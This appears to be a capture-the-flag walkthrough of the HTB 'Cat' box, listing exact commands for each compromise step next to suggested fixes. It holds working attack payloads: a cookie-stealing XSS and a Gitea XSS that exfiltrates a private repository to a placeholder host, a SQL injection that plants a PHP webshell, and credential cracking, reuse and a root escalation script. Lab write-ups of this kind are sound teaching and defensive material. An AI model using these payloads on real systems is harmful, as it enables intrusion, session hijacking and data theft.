Cat
Summary
I discovered an exposed .git directory on the cat.htb web application, recovering the full PHP source for a cat-adoption site. Reading the source revealed a two-stage web exploit: a second-order stored XSS in the cat-submission form that stole the administrator's session cookie when reviewed on /admin.php, and a SQL injection in the cat-approval endpoint that let me abuse SQLite's ATTACH DATABASE feature to plant a PHP webshell in the web root, gaining code execution as www-data. From there, MD5 password hashes recovered from the application's SQLite database were cracked to obtain a valid SSH credential for the user rosa, whose adm-group membership exposed Apache access logs containing a second user's (axel) password in cleartext because the login form submitted credentials via GET.
With axel's SSH access, the user flag was captured, and an internal Gitea instance and local SMTP relay reachable only from the box were pivoted to: a stored XSS in Gitea (CVE-2024-6886) was planted in a repository description and triggered by emailing the Gitea admin, exfiltrating a private repository that contained a hardcoded administrator password. That password was reused for the box's root account, giving full root access.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET cat.htb" | sudo tee -a /etc/hostsnmap -sV -p22,80 --script http-git $TARGETgit-dumper http://cat.htb/.git ./cat_srcFixRemove version control metadata from the production web rootHigh
Exact commands 2
python3 -m http.server 8011curl -sS -H 'Host: cat.htb' -X POST http://$TARGET/ --data-urlencode "cat_name=<img src=x onerror=new Image().src='http://YOU:8011/?c='+document.cookie>"FixSanitize and encode all user-submitted content before rendering it to administratorsCritical
Exact commands 2
curl -sS -H 'Host: cat.htb' -b 'PHPSESSID=<stolen_admin_session>' --data-urlencode "catName=muffins'); ATTACH DATABASE './shell.php' AS db; CREATE TABLE db.pwn (x text); INSERT INTO db.pwn (x) VALUES (\"<?php system($_GET['cmd']); ?>\");-- -" http://$TARGET/accept_cat.phpcurl -sS --max-time 15 -H 'Host: cat.htb' -D /tmp/shell_headers.txt -o /tmp/shell_body.bin "http://$TARGET/shell.php?cmd=id" && file /tmp/shell_body.bin && strings /tmp/shell_body.bin | tail -10FixUse parameterized queries and remove SQLite ATTACH privileges from the applicationCritical
Exact commands 3
curl -sS -H 'Host: cat.htb' "http://$TARGET/shell.php?cmd=cat+/var/www/html/databases/cat.db" -o cat.dbhashcat -m 0 $PASSWORD4 /usr/share/wordlists/rockyou.txtsshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 rosa@$TARGET idFixHash stored passwords with a modern salted algorithmHigh
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rosa@$TARGET "grep -h 'loginUsername=axel' /var/log/apache2/access.log* | tail -3"sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null axel@$TARGET 'cat /home/axel/user.txt'FixStop submitting credentials via GET and restrict web log accessHigh
Exact commands 3
sshpass -p '$PASSWORD2' ssh -L 3000:localhost:3000 -L 2525:localhost:25 axel@$TARGETcurl -s -u 'axel:$PASSWORD2' -X POST http://localhost:3000/api/v1/user/repos -H 'Content-Type: application/json' -d '{"name":"POC","description":"<a href=\"javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://YOU/?e='+btoa(d)));\">Click me!</a>"}'swaks --to jobert@localhost --from axel@localhost --header 'Subject: New project' --body 'http://localhost:3000/axel/POC' --server 127.0.0.1 -p 2525FixPatch Gitea and restrict the internal SMTP relayCritical
Exact commands 2
echo <base64_exfiltrated_index.php> | base64 -dexpect -c 'set timeout 20; spawn ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null axel@$TARGET; expect "password:"; send "$PASSWORD2\r"; expect "$ "; send "su -\r"; expect "Password:"; send "$PASSWORD3\r"; expect "# "; send "id\r"; expect "# "; send "cat /root/root.txt\r"; expect "# "; send "exit\r"; expect "$ "; send "exit\r"; expect eof'FixEliminate hardcoded credentials and password reuse across servicesCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |